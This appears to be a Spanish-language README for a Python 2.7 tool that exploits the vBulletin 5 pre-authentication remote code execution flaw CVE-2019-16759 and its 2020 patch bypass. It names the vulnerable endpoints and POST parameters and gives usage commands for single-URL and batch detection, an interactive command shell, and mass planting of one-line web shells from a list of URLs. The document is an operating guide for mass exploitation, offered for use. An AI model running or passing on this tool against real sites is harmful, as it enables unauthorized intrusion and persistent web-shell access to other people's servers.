
CVE-2019-16759 vbulletin 5.0.0 hasta 5.5.4 pre-autenticación RCE
En 201909, se reveló una vulnerabilidad RCE en vbulletion5 (5.0.0-5.5.4) (CVE-2019-16759). Utilizando el archivo ajax/render/widget_php y el parámetro POST widgetConfig[code], se puede ejecutar código de forma remota directamente.
El 20200811, se reveló en línea que el parche para CVE-2019-16759 puede ser omitido. Utilizando ajax/render/widget_tabbedcontainer_tab_panel y construyendo el parámetro POST subWidgets[0][config][code], se puede ejecutar código de forma remota directamente.
Esta herramienta soporta detección de URL única, cmdshell, obtener web shell (escribir una shell de una línea), detección por lotes, y obtener shell por lotes.
python2.7
pip install requests
Ayuda de uso: python vbulletin5-rce.py -h

Detección de vulnerabilidad de URL única: python vbulletin5-rce.py -u "http://www.xxx.com/"


cmdshell: python vbulletin5-rce.py -u "http://www.xxx.com/" --cmdshell


Obtener shell de URL única: python vbulletin5-rce.py -u "http://www.xxx.com/" --getshell


Detección por lotes: python vbulletin5-rce.py -f urls.txt

Obtener shell por lotes: python vbulletin5-rce.py -f urls.txt --getshell

gmail:[email protected]